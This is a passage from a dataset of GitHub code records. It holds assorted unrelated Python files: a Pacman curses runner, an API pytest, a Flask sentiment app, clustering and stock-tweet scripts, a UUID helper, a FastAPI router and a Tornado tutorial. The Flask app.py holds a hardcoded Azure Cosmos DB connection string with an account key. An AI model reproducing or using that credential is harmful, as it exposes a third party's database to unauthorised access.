"azure.developer.devcenter.DevCenterClient", "line_number": 39, "usage_type": "call"}, {"api_name": "azure.identity.DefaultAzureCredential", "line_number": 39, "usage_type": "call"}]} +{"seq_id": "14088120507", "text": "from curses import wrapper\nimport curses\nfrom pacman.agents.heuristic import RandomAgent\n\nfrom pacman.env import PacmanV1\n\n\ndef main(stdscr):\n env = PacmanV1()\n agent = RandomAgent()\n\n done = False\n # Initializing the program\n curses.setupterm()\n curses.curs_set(False)\n\n def display_game(world, reward):\n width, height = world.shape\n stdscr.clear()\n for x in range(0, width):\n for y in range(0, height):\n stdscr.addstr(y + 1, x, str(world[x, y]))\n\n stdscr.addstr(0, 0, f\"total reward {reward}\")\n stdscr.refresh()\n\n total_reward = 0\n steps_taken = 0\n while not done:\n action = agent.act()\n _, reward, done, [] = env.step(action)\n total_reward += reward\n steps_taken += 1\n world = env._get_2d_state()\n display_game(world, total_reward)\n\n return f\"You lost after {steps_taken} steps and got {total_reward} reward.\"\n\n\nprint(wrapper(main))\n", "repo_name": "dakl/pygame-zero-pacman", "sub_path": "cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 972, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "pacman.env.PacmanV1", "line_number": 9, "usage_type": "call"}, {"api_name": "pacman.agents.heuristic.RandomAgent", "line_number": 10, "usage_type": "call"}, {"api_name": "curses.setupterm", "line_number": 14, "usage_type": "call"}, {"api_name": "curses.curs_set", "line_number": 15, "usage_type": "call"}, {"api_name": "curses.wrapper", "line_number": 40, "usage_type": "call"}]} +{"seq_id": "12487487113", "text": "import pytest\nimport requests\n\nclass TestFirstApi:\n names = [\n (\"Vitalii\"),\n (\"Arsenii\"),\n (\"\")\n ]\n\n\n @pytest.mark.parametrize('name', names)\n def test_hello_call(self, name):\n url = \"https://playground.learnqa.ru/api/hello\"\n data = {'name': name}\n\n response = requests.get(url, params=data)\n\n assert response.status_code == 200, \"Wrong response code\"\n\n response_dict = response.json()\n assert \"answer\" in response_dict, \"There is not field 'answer' in the response\"\n\n if len(name) == 0:\n expected_response_text = \"Hello, someone\"\n else:\n expected_response_text = f\"Hello, {name}\"\n\n actual_response_text = response_dict[\"answer\"]\n assert actual_response_text == expected_response_text, \"Actual text in the response is not correct\"\n\n", "repo_name": "Evgeniyfaq/LearnQA_Python_Api", "sub_path": "request for api/test_first_api.py", "file_name": "test_first_api.py", "file_ext": "py", "file_size_in_byte": 857, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "54", "api": [{"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 12, "usage_type": "attribute"}]} +{"seq_id": "33004316111", "text": "import sys, os, json\nfrom flask import Flask, jsonify, render_template, request\n'''\nfrom pymongo import MongoClient\nfrom function_flatten import flatten_json, extract_key_from_flatten_thread\nfrom vaderSentiment_fr.vaderSentiment import SentimentIntensityAnalyzer\n\n#~ uri='mongodb://172.17.0.2:27017'\nuri = \"mongodb://group1cosmosdb:CfcGBJtg80smn8ZG2SSfbvKL9qTxh7RUW3VSQ5EQrrt3cjAUj7yywWemM9TjZwJWxSOKzhevyjCnPxReeUKiqA==@group1cosmosdb.mongo.cosmos.azure.com:10255/?ssl=true&retrywrites=false&replicaSet=globaldb&maxIdleTimeMS=120000&appName=@group1cosmosdb@\"\nclient = MongoClient(uri)\ndb = client.moocdb\ncollection = db.mooc\n\nlist_text = []\nlist_id = []\nlist_endorsed = []\nlist_course_id = []\ncount = 0\nthreads_dict = {'thread_id': list_id, 'text': list_text, 'endorsed': list_endorsed, 'course_id' : list_course_id}\n'''\napp = Flask(__name__)\n\n@app.route(\"/test\")\ndef test():\n return \"OK !\"\n\n@app.route(\"/\")\ndef hello_world():\n\n lst = []\n\n for thread in collection.find().limit(10):\n \n flatten_thread = flatten_json(thread)\n list_id.append(flatten_thread[\"content_id\"])\n list_text.append(extract_key_from_flatten_thread(flatten_thread, 'body'))\n list_course_id.append(flatten_thread[\"content_course_id\"])\n list_endorsed.append(flatten_thread[\"content_endorsed\"])\n\n\n for thread in list_text:\n lst.append(thread[0])\n\n dico = sentiments_liste(lst)\n\n return render_template('mooc.html', courses=dico)\n\ndef sentiments_liste(data):\n sentiments = {}\n for k in data:\n score = SentimentIntensityAnalyzer().polarity_scores(k)\n if score['compound'] >= 0.05:\n tendance = \"positive\"\n elif score['compound'] <= -0.05:\n tendance = \"negative\"\n else :\n tendance = \"neutre\"\n sentiments[k] = tendance\n return(sentiments)\n\napp.run(port=5000, host='0.0.0.0')", "repo_name": "dataIA-2021/team1_AzureDockerMongo", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1879, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "flask.Flask", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "35584854632", "text": "from sklearn.cluster import AgglomerativeClustering\nimport numpy as np\nimport codecs\nimport time\nfrom SentenceSimMecab import sentence_sim\n\n\ncluster_num = 7500\ndata_size = 50000\nalgorithm = \"past\"\npast_threshold = float(input(\"past_threshold: \"))#0.98\nchunk_num = 0\n\nstart_time = time.time()\nfilename = \"../../Data/1to100_chat_norm5.txt\" #input(\"filename: \")\nwith open(filename, 'r', encoding='utf-8-sig') as data_file:\n chats = data_file.readlines()\n chats = list(map(lambda chat: chat.strip(), chats)) # to delete newline character\nprint(len(chats))\nprint(\"File open time: %.3f secs\" % (time.time() - start_time))\n\n\nstart_time = time.time()\nsim_matrix = sentence_sim(chats[data_size * chunk_num : data_size * (chunk_num+ 1)])\nprint(\"Similarity calc time: %.3f secs\" % (time.time() - start_time))\n\n\nstart_time = time.time()\nif algorithm == \"hc\":\n clusterer = AgglomerativeClustering(n_clusters=cluster_num, affinity='precomputed', linkage='average').fit(1 - sim_matrix)\n clusters = [[] for _ in range(cluster_num)]\n label_list = clusterer.labels_\n for idx in range(len(label_list)):\n clusters[label_list[idx]].append(idx)\nelif algorithm == \"past\":\n clusters = []\n idx_x, idx_y = np.where(sim_matrix > past_threshold)\n for idx in range(len(idx_x)):\n x, y = idx_x[idx], idx_y[idx]\n if y <= x:\n continue\n cluster_exist = False\n for cluster_idx in range(len(clusters)):\n if x in clusters[cluster_idx]:\n cluster_exist = True\n clusters[cluster_idx].add(y)\n break\n if cluster_exist == False:\n cluster = {x, y}\n clusters.append(cluster)\n\ncluster_lens = list()\nfor idx in range(len(clusters)):\n cluster_lens.append((len(clusters[idx]), idx))\ncluster_lens.sort(reverse=True)\nprint(\"time: %.3f secs\" % (time.time() - start_time))\n\n\nwith codecs.open(f\"{algorithm}_{len(clusters)}_{data_size}({chunk_num})({past_threshold}).txt\", 'w', encoding='utf-8') as output_file:\n for len, idx in cluster_lens:\n if len == 1:\n continue\n output_file.write(\"---------------------------------------\\n\")\n for chat in clusters[idx]:\n output_file.write(chats[chat] + '\\n')\n\n\nexit()\n\nsimilarity_threshold = 0.92\n\nstart_time = time.time()\nclose_chats = np.where(sim_matrix > similarity_threshold)\nrelate_counts = [[0, idx] for idx in range(data_size)]\nfor idx in range(len(close_chats[0])):\n relate_counts[close_chats[0][idx]][0] += 1\nrelate_counts.sort(reverse=True)\nprint(relate_counts[:30])\nprint(\"time: %.3f secs\" % (time.time() - start_time))\n\n\nfor idx in range(30):\n print(chats[relate_counts[idx][1]])\n\n", "repo_name": "MJJbot/Chat-Process", "sub_path": "3.ChatClusterer/ChatClusterer.py", "file_name": "ChatClusterer.py", "file_ext": "py", "file_size_in_byte": 2691, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "time.time", "line_number": 14, "usage_type": "call"}, {"api_name": "time.time", "line_number": 20, "usage_type": "call"}, {"api_name": "time.time", "line_number": 23, "usage_type": "call"}, {"api_name": "SentenceSimMecab.sentence_sim", "line_number": 24, "usage_type": "call"}, {"api_name": "time.time", "line_number": 25, "usage_type": "call"}, {"api_name": "time.time", "line_number": 28, "usage_type": "call"}, {"api_name": "sklearn.cluster.AgglomerativeClustering", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 37, "usage_type": "call"}, {"api_name": "time.time", "line_number": 56, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 59, "usage_type": "call"}, {"api_name": "time.time", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 73, "usage_type": "call"}, {"api_name": "time.time", "line_number": 79, "usage_type": "call"}]} +{"seq_id": "9691562919", "text": "import json\nimport os\nfrom sklearn.feature_extraction.text import TfidfTransformer\nimport pandas as pd\nfrom datetime import datetime, timedelta\nkeyWords = [\"buy\", \"invest\", \"investing\", \"bought\", \"gain\", \"buying\",\n \"sell\", \"selling\", \"loss\", \"up\",\n \"increase\", \"down\"]\ndef processDataSet():\n dataSet = {}\n #words = {}\n tweetsFolder = \"data/tweet/preprocessed/\"\n for subdir, dirs, files in os.walk(tweetsFolder):\n for company_name in dirs:\n dataSet[company_name] = {}\n #print (os.path.join(tweetsFolder, company_name))\n for subdir, dirs, files in os.walk(tweetsFolder + \"/\" + company_name):\n for file in files:\n dataSet[company_name][file] = {}\n with open(os.path.join(tweetsFolder, company_name, file), \"r\") as read_file:\n for line in read_file:\n data = json.loads(line)\n for word in data[\"text\"]:\n #if (words.get(word) == None):\n # words[word] = 1\n # else:\n # words[word] += 1\n if dataSet[company_name][file].get(word) == None:\n dataSet[company_name][file][word] = 1\n else:\n dataSet[company_name][file][word] += 1\n #sorted_x = sorted(words.items(), key=lambda kv: kv[1])\n #import collections\n\n #sorted_dict = collections.OrderedDict(sorted_x)\n #for key, item in sorted_dict.items():\n #print (key, item)\n return dataSet\ndef generateXY(dataSet):\n X = []\n Y = []\n priceDifferences = []\n companies = list(dataSet.keys())\n companies.sort()\n for companyName in companies:\n print(companyName, \" start index : \", len(X))\n prices = pd.read_csv(\"data/price/raw/\" + companyName + \".csv\", delimiter=',')\n for date, data in dataSet[companyName].items():\n x = []\n for keyWord in keyWords:\n x.append(0) if data.get(keyWord) is None else x.append(data[keyWord])\n stockGrowth, priceDiff = calculateStockGrowth( date, prices)\n if (stockGrowth is not None and checkIfZeros(x) == False):\n X.append(x)\n Y.append(stockGrowth)\n priceDifferences.append(priceDiff)\n\n\n print(companyName, \" end index: \", len(X))\n tfidf = TfidfTransformer() # by default norm = \"l2\"\n tfidf.fit(X)\n\n tf_idf_matrix = tfidf.transform(X)\n #printXY(X, Y)\n return tf_idf_matrix.todense(), Y, priceDifferences\n #return X, Y, priceDifferences, startDates, companyNames\ndef printXY(X, Y, pred, dates, companyNames):\n\n for i in range(len(X)):\n resStr = companyNames[i] + \" \" +dates[i] + \" [\"\n for j in range(len(X[i])):\n resStr += keyWords[j] + \" : \" + str(X[i][j]) + \" ,\"\n resStr += \"] \" + \"result : [\" + str(Y[i]) + \"]\" + \" predict :\" + \"[\" + str(pred[i]) + \"]\"\n print(resStr)\n print(\"\\n\")\ndef calculateStockGrowth(date, prices):\n dateStart = datetime.strptime(date, '%Y-%m-%d')\n dateEnd = dateStart + timedelta(days=2)\n priceStart = None\n priceEnd = None\n for row in prices.values:\n dateStockStr = row[0]\n dateStock = datetime.strptime(dateStockStr, '%Y-%m-%d')\n if (dateStock == dateStart):\n priceStart = float(row[1])\n if (dateStock == dateEnd and priceStart is not None):\n priceEnd = float(row[4])\n result = 1 if priceEnd - priceStart > 0 else -1\n return result, priceEnd-priceStart\n if (dateStock > dateEnd):\n return None, None\n\ndef countAccuracy(pred, test):\n count = 0\n for i in range(len(pred)):\n if ((pred[i] >= 0 and test[i] >= 0) or pred[i] <= 0 and test[i] <= 0):\n count += 1\n return (count/len(pred))*100\ndef countProfit(pred, priceDiff):\n sum = 0\n for i in range(len(pred)):\n if (pred[i] > 0):\n sum += priceDiff[i]\n return sum\ndef calculateRMSE(pred, actual):\n sum = 0\n for i in range(len(pred)):\n sum += pow(actual[i] - pred[i], 2)\n return sum/len(pred)\ndef checkIfZeros(X):\n for x in X:\n if x > 0:\n return False\n return True", "repo_name": "srbulovicdusan/StockPricePrediction", "sub_path": "dataProcessor.py", "file_name": "dataProcessor.py", "file_ext": "py", "file_size_in_byte": 4392, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "54", "api": [{"api_name": "os.walk", "line_number": 13, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 47, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfTransformer", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 77, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 77, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 78, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 83, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 83, "usage_type": "name"}]} +{"seq_id": "4133390769", "text": "__all__ = ['Uid']\n\nimport math\nimport re\nimport string\nfrom functools import lru_cache\nfrom typing import SupportsInt\nfrom uuid import UUID, uuid4\n\nfrom typing_extensions import Self\n\nALPHABET = string.digits + string.ascii_letters\nALPHABET = ''.join(sorted({*ALPHABET} - {*'0O1Il'}))\n\n_BASE = len(ALPHABET) # 57\n_LEN = math.ceil(128 / math.log2(_BASE)) # 22\n\n_TABLE = ALPHABET.encode('ascii').ljust(256, b'\\0')\n_NUMBERS = {s: i for i, s in enumerate(ALPHABET)}\n_REGEX = re.compile(f'^[{ALPHABET}]{{{_LEN}}}$')\n\n\n@lru_cache # Small performance optimization\ndef base57_encode(number: int) -> str:\n out = bytearray(_LEN)\n for i in range(_LEN - 1, -1, -1):\n number, out[i] = divmod(number, _BASE)\n return out.translate(_TABLE).decode('ascii')\n\n\n@lru_cache # Small performance optimization\ndef base57_decode(shortuuid: str) -> int:\n if not _REGEX.fullmatch(shortuuid):\n raise ValueError('invalid shortuuid format')\n out = 0\n for char in shortuuid:\n out = out * _BASE + _NUMBERS[char]\n return out\n\n\nclass Uid(UUID):\n \"\"\"Subclass of UUID with support of short-uuid serialization format.\n\n Uses base57 instead of hex for serialization.\n\n base57 uses lowercase and uppercase letters and digits,\n excluding similar-looking characters such as l, 1, I, O and 0,\n and it doesn't use URL-unsafe +, /, = characters (opposed to base64).\n\n UUIDs encoded with base57 have length of 22 characters, while\n with hex (default) - 32 characters.\n\n Uid can be created directly from UUID:\n\n >>> u = UUID('3b1f8b40-222c-4a6e-b77e-779d5a94e21c')\n >>> Uid(u)\n Uid('CXc85b4rqinB7s5J52TRYb')\n >>> str(Uid(u))\n 'CXc85b4rqinB7s5J52TRYb'\n\n Or from string representation of short-uuid:\n\n >>> Uid('CXc85b4rqinB7s5J52TRYb')\n Uid('CXc85b4rqinB7s5J52TRYb')\n\n Simplified and more optimized (2-3x faster on average) fork of\n [shortuuid](https://github.com/skorokithakis/shortuuid)\n \"\"\"\n def __init__(self, obj: str | SupportsInt):\n \"\"\"\n Creates Uid either from str (parsing it as short-uuid) or\n from int()-compatible type\n \"\"\"\n if not isinstance(obj, str | SupportsInt):\n raise TypeError('Either int, string or UUID required. '\n f'Got {type(obj)}')\n\n value = base57_decode(obj) if isinstance(obj, str) else int(obj)\n super().__init__(int=value)\n\n def __str__(self) -> str:\n return base57_encode(int(self))\n\n @classmethod\n def __get_validators__(cls): # Required for Pydantic\n yield cls\n\n @classmethod\n def __modify_schema__(cls, field_schema: dict): # Required for OpenAPI\n field_schema.update(\n examples=[str(cls.v4()) for _ in range(2)],\n type='string',\n format=None,\n pattern=_REGEX.pattern,\n )\n\n @classmethod\n def v4(cls) -> Self:\n \"\"\"Alias for Uid(uuid.uuid4())\"\"\"\n return cls(uuid4())\n", "repo_name": "arquolo/glow", "sub_path": "src/glow/_uuid.py", "file_name": "_uuid.py", "file_ext": "py", "file_size_in_byte": 2982, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "54", "api": [{"api_name": "string.digits", "line_number": 12, "usage_type": "attribute"}, {"api_name": "string.ascii_letters", "line_number": 12, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 16, "usage_type": "call"}, {"api_name": "math.log2", "line_number": 16, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 20, "usage_type": "call"}, {"api_name": "functools.lru_cache", "line_number": 23, "usage_type": "name"}, {"api_name": "functools.lru_cache", "line_number": 31, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 41, "usage_type": "name"}, {"api_name": "typing.SupportsInt", "line_number": 69, "usage_type": "name"}, {"api_name": "typing.SupportsInt", "line_number": 74, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 100, "usage_type": "call"}, {"api_name": "typing_extensions.Self", "line_number": 98, "usage_type": "name"}]} +{"seq_id": "4463798220", "text": "import cv2\nfrom fastapi import APIRouter\n\nfrom server.database import (\n retrieve_member_switcher,\n update_member_switcher,\n\n upload_file,\n retrieve_file,\n delete_file,\n \n Member,\n)\n\nfrom server.utils import(\n get_augmentations,\n url_to_image,\n)\n\nfrom server.models.student import (\n ErrorResponseModel,\n ResponseModel,\n)\nrouter = APIRouter()\n\n@router.put(\"/{id}\",response_description=\"Update Member's Face pixels' Augmentations and Upload them to Firestore storage\")\nasync def update_member_face_augmentations(Member: Member, id: str, pic_name: str, folder=\"media/augmentations\"):\n #Retrieve a single member widh id\n try:\n member = await retrieve_member_switcher(Member.value, id, False)\n if member:\n augmentations = member[\"augmentations\"]\n pics = [list(i.keys())[0] for i in member[\"pics\"]]\n \n face_pics_ag = list()\n if len(augmentations)>0:\n face_pics_ag = [list(i.keys())[0] for i in augmentations]\n if pic_name in pics:\n pic_url = await retrieve_file(pic_name) #TIMEOUT EXCEPTION\n #aug_urls = list()\n #aug_names = list()\n augs_idx = 0\n if pic_url:\n pic_pixels = await url_to_image(pic_url) #TIMEOUT EXCEPTION\n pic_augs = get_augmentations(pic_pixels)\n for i in range(len(pic_augs)):\n im_buf_arr = cv2.imencode(\".jpg\", pic_augs[i])[1]\n byte_im = im_buf_arr.tobytes()\n img_aug_name = f\"{pic_name}-aug{i}\"\n if img_aug_name in face_pics_ag:\n continue\n else:\n #aug_names.append(img_aug_name)\n uploaded = await upload_file(byte_im, img_aug_name, folder, 'image/jpeg', None) #TIMEOUT EXCEPTION\n if uploaded:\n aug_url = await retrieve_file(img_aug_name, folder)\n augmentations = augmentations + [{img_aug_name: aug_url}]\n await update_member_switcher(Member.value, id, {\"augmentations\": augmentations})\n #aug_urls.append(aug_url)\n augs_idx += 1 \n else:\n continue\n\n if augs_idx < 3:\n return ResponseModel(\n f\"only {augs_idx} out of 3 augmentations uploaded\",\n f\"{3 - augs_idx} are broken or aleady exist!!\"\n )\n return ResponseModel(\n f\"{augs_idx} Augmentations for {pic_name} updated successfully\",\n \"Augmentations update was successfull.\",\n )\n \n return ErrorResponseModel(\n \"An error occured updating the member's picture Augmented data\",\n 404,\n \"Picture url is Broken!!\"\n )\n \n return ErrorResponseModel(\n \"An error occured updating the member's picture Augmented data\",\n 404,\n \"Picture does not exist!! in user's pictures\"\n )\n \n return ErrorResponseModel(\n \"An error occured updating the member's picture Augmented data\",\n 404,\n \"Member does not exist!!\"\n )\n except (Exception, RuntimeError, TimeoutError) as err:\n return ErrorResponseModel( \n \"An error occured updating the member's picture Augmented data\",\n 404, \n str(err))\n\n@router.delete(\"/{id}/augmentations/{filename}\", response_description=\"Member deleting all augmentations of a picture from Firestore Storage Bucket\")\nasync def delete_Picture_augments(Member: Member, id: str, filename: str, folder: str = \"media/augmentations\"):\n try:\n member = await retrieve_member_switcher(Member.value, id, False)\n if member:\n augmentations = member[\"augmentations\"]\n pictures = member[\"pics\"]\n\n aug_pic_dicts = [i for i in augmentations] if len(augmentations)>0 else list()\n or_pics = [list(i.keys())[0] for i in pictures] if len(pictures)>0 else list()\n\n if filename in or_pics:\n filenames = [f\"{filename}-aug{i}\" for i in range(3)]\n\n for fn in filenames:\n await delete_file(fn, folder) #Deleting all the augmentations for the file in storageBucket\n aug_pic_dicts = list(filter(lambda i : list(i.keys())[0] not in filenames, aug_pic_dicts)) #Deleting file dictionary from database\n await update_member_switcher(Member.value, id, {\"augmentations\": aug_pic_dicts}) \n \n return ResponseModel(\n \"Operation was successful\",\n f\"{filenames} Augmentations for {filename} deleted!!\"\n )\n \n return ErrorResponseModel(\n f\"Delete operation failed!!\",\n 404,\n \"File does not exist!\",\n )\n return ErrorResponseModel(\"An error occurred\", 404, \"Member doesn't exist.\")\n \n except (Exception, RuntimeError, TimeoutError) as err:\n return ErrorResponseModel( \n \"An error occured deleting the member's picture Augmented data\", \n 404, \n str(err))", "repo_name": "BrianMburu/FRBS_API", "sub_path": "server/routes/augmentations.py", "file_name": "augmentations.py", "file_ext": "py", "file_size_in_byte": 5662, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "54", "api": [{"api_name": "fastapi.APIRouter", "line_number": 24, "usage_type": "call"}, {"api_name": "server.database.Member", "line_number": 27, "usage_type": "name"}, {"api_name": "server.database.retrieve_member_switcher", "line_number": 30, "usage_type": "call"}, {"api_name": "server.database.Member.value", "line_number": 30, "usage_type": "attribute"}, {"api_name": "server.database.Member", "line_number": 30, "usage_type": "name"}, {"api_name": "server.database.retrieve_file", "line_number": 39, "usage_type": "call"}, {"api_name": "server.utils.url_to_image", "line_number": 44, "usage_type": "call"}, {"api_name": "server.utils.get_augmentations", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.imencode", "line_number": 47, "usage_type": "call"}, {"api_name": "server.database.upload_file", "line_number": 54, "usage_type": "call"}, {"api_name": "server.database.retrieve_file", "line_number": 56, "usage_type": "call"}, {"api_name": "server.database.update_member_switcher", "line_number": 58, "usage_type": "call"}, {"api_name": "server.database.Member.value", "line_number": 58, "usage_type": "attribute"}, {"api_name": "server.database.Member", "line_number": 58, "usage_type": "name"}, {"api_name": "server.models.student.ResponseModel", "line_number": 65, "usage_type": "call"}, {"api_name": "server.models.student.ResponseModel", "line_number": 69, "usage_type": "call"}, {"api_name": "server.models.student.ErrorResponseModel", "line_number": 74, "usage_type": "call"}, {"api_name": "server.models.student.ErrorResponseModel", "line_number": 80, "usage_type": "call"}, {"api_name": "server.models.student.ErrorResponseModel", "line_number": 86, "usage_type": "call"}, {"api_name": "server.models.student.ErrorResponseModel", "line_number": 92, "usage_type": "call"}, {"api_name": "server.database.Member", "line_number": 98, "usage_type": "name"}, {"api_name": "server.database.retrieve_member_switcher", "line_number": 100, "usage_type": "call"}, {"api_name": "server.database.Member.value", "line_number": 100, "usage_type": "attribute"}, {"api_name": "server.database.Member", "line_number": 100, "usage_type": "name"}, {"api_name": "server.database.delete_file", "line_number": 112, "usage_type": "call"}, {"api_name": "server.database.update_member_switcher", "line_number": 114, "usage_type": "call"}, {"api_name": "server.database.Member.value", "line_number": 114, "usage_type": "attribute"}, {"api_name": "server.database.Member", "line_number": 114, "usage_type": "name"}, {"api_name": "server.models.student.ResponseModel", "line_number": 116, "usage_type": "call"}, {"api_name": "server.models.student.ErrorResponseModel", "line_number": 121, "usage_type": "call"}, {"api_name": "server.models.student.ErrorResponseModel", "line_number": 126, "usage_type": "call"}, {"api_name": "server.models.student.ErrorResponseModel", "line_number": 129, "usage_type": "call"}]} +{"seq_id": "7098386784", "text": "#-*-conding:utf-8-*-\n\nimport os.path\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.options\nimport tornado.web\n\n\n\nfrom tornado.options import define,options\ndefine(\"port\",default=8000,help=\"run on the given port\",type=int)\n\n\nclass IndexHandler(tornado.web.RequestHandler):\n def get(self):\n self.render('index.html')\n\nclass PoemPageHandler(tornado.web.RequestHandler):\n def post(self):\n noun1 = self.get_argument('noun1')\n noun2 = self.get_argument('noun2')\n verb = self.get_argument('verb')\n noun3 = self.get_argument('noun3')\n self.render('poem.html', roads=noun1, wood=noun2, made=verb,\n difference=noun3)\n\n\nif __name__==\"__main__\":\n\n tornado.options.parse_command_line()\n\n app = tornado.web.Application(\n handlers=[\n (r\"/\",IndexHandler),\n (r\"/poem\",PoemPageHandler)\n ],\n template_path = os.path.join(os.path.dirname(__file__),\"data\\\\templates\")\n )\n \n \n http_server = tornado.httpserver.HTTPServer(app)\n http_server.listen(options.port)\n tornado.ioloop.IOLoop.instance().start()\n\n\"\"\"\n使用Python解释器导入模板模块尝试模板系统\nfrom tornado.template import Template\ncontent = Template(\"

{{ header }}

\")\nprint content.generate(header=\"Welcome!\")\n\n填充表达式\n>>> from tornado.template import Template\n>>> print Template(\"{{ 1+1 }}\").generate()\n2\n>>> print Template(\"{{ 'scrambled eggs'[-4:] }}\").generate()\neggs\n>>> print Template(\"{{ ', '.join([str(x*x) for x in range(10)]) }}\").generate()\n0, 1, 4, 9, 16, 25, 36, 49, 64, 81\n\n填充Python变量的值到模板的双大括号中\n将任何Python表达式放在双大括号中\n在Tornado模板中使用Python条件和循环语句。控制语句以{%和%}包围\nTornado模板语言的一个最好的东西是在if和for语句块中可以使用的表达式没有限制。\n也可以在你的控制语句块中间使用{% set foo = 'bar' %}来设置变量\n\n在模板中使用函数\nescape(s)\nurl_escape(s)\njson_encode(val)\nsqueeze(s)\n\n在模板中使用一个你自己编写的函数也是很简单的：只需要将函数名作为模板的参数传递即可，就像其他变量一样。\n\n>>> from tornado.template import Template\n>>> def disemvowel(s):\n... return ''.join([x for x in s if x not in 'aeiou'])\n...\n>>> disemvowel(\"george\")\n'grg'\n>>> print Template(\"my name is {{d('mortimer')}}\").generate(d=disemvowel)\nmy name is mrtmr\n\n\"\"\"\n \n", "repo_name": "zhuweiAAA/class", "sub_path": "tornado-class5.py", "file_name": "tornado-class5.py", "file_ext": "py", "file_size_in_byte": 2493, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "tornado.options.define", "line_number": 12, "usage_type": "call"}, {"api_name": "tornado.httpserver.web", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tornado.httpserver", "line_number": 15, "usage_type": "name"}, {"api_name": "tornado.httpserver.web", "line_number": 19, "usage_type": "attribute"}, {"api_name": "tornado.httpserver", "line_number": 19, "usage_type": "name"}, {"api_name": "tornado.httpserver.options.parse_command_line", "line_number": 31, "usage_type": "call"}, {"api_name": "tornado.httpserver.options", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tornado.httpserver", "line_number": 31, "usage_type": "name"}, {"api_name": "tornado.httpserver.web.Application", "line_number": 33, "usage_type": "call"}, {"api_name": "tornado.httpserver.web", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tornado.httpserver", "line_number": 33, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 38, "usage_type": "name"}, {"api_name": "os.path.path.dirname", "line_number": 38, "usage_type": "call"}, {"api_name": "tornado.httpserver.httpserver.HTTPServer", "line_number": 42, "usage_type": "call"}, {"api_name": "tornado.httpserver.httpserver", "line_number": 42, "usage_type": "attribute"}, {"api_name": "tornado.httpserver", "line_number": 42, "usage_type": "name"}, {"api_name": "tornado.options.options.port", "line_number": 43, "usage_type": "attribute"}, {"api_name": "tornado.options.options", "line_number": 43, "usage_type": "name"}, {"api_name": "tornado.httpserver.ioloop.IOLoop.instance", "line_number": 44, "usage_type": "call"}, {"api_name": "tornado.httpserver.ioloop", "line_number": 44, "usage_type": "attribute"}, {"api_name": "tornado.httpserver", "line_number": 44, "usage_type": "name"}]} +{"seq_id": "4593310890", "text": "import bibtexparser\nimport json\nfrom bibtexparser.bwriter import BibTexWriter\nfrom bibtexparser.bibdatabase import BibDatabase\n\ndef bib_to_js(bibfile):\n # read bib file into a bibtex dbase\n with open(bibfile) as bibtex_file:\n bib_database = bibtexparser.load(bibtex_file)\n\n # make a new dict to store by bibs by title\n bib_dict = {}\n\n writer = BibTexWriter()\n for entry_dict in bib_database.entries:\n # entry_dict = bib_database.get_entry_list()[0]\n db = BibDatabase()\n db.entries = [entry_dict]\n bibtex_str = writer.write(db)\n bib_dict[entry_dict['ID']] = bibtex_str\n \n # save file to js \n with open(\"./bibs.js\",\"w\") as f: \n f.write('bibs = ')\n json.dump(bib_dict,f, indent = 3)\n print(\"Created/updated file bibs.js\")\n\ndef workshops_to_js(json_file):\n with open(\"./cv/workshops.json\",\"r\") as f: \n content = f.read()\n with open(\"./workshops.js\",\"w\") as f: \n f.write(\"events = \" + content)\n \n\n \n # f.write('workshops = '+content) \n # print(\"Created/updated file workshops.js\") \n\ndef main():\n bib_to_js(\"./cv/citations.bib\")\n workshops_to_js(\"./cv/workshops.json\")\n\nif __name__ == \"__main__\":\n main()", "repo_name": "orlitany/orlitany.github.io", "sub_path": "helper_functions/convert_to_js.py", "file_name": "convert_to_js.py", "file_ext": "py", "file_size_in_byte": 1163, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "54", "api": [{"api_name": "bibtexparser.load", "line_number": 9, "usage_type": "call"}, {"api_name": "bibtexparser.bwriter.BibTexWriter", "line_number": 14, "usage_type": "call"}, 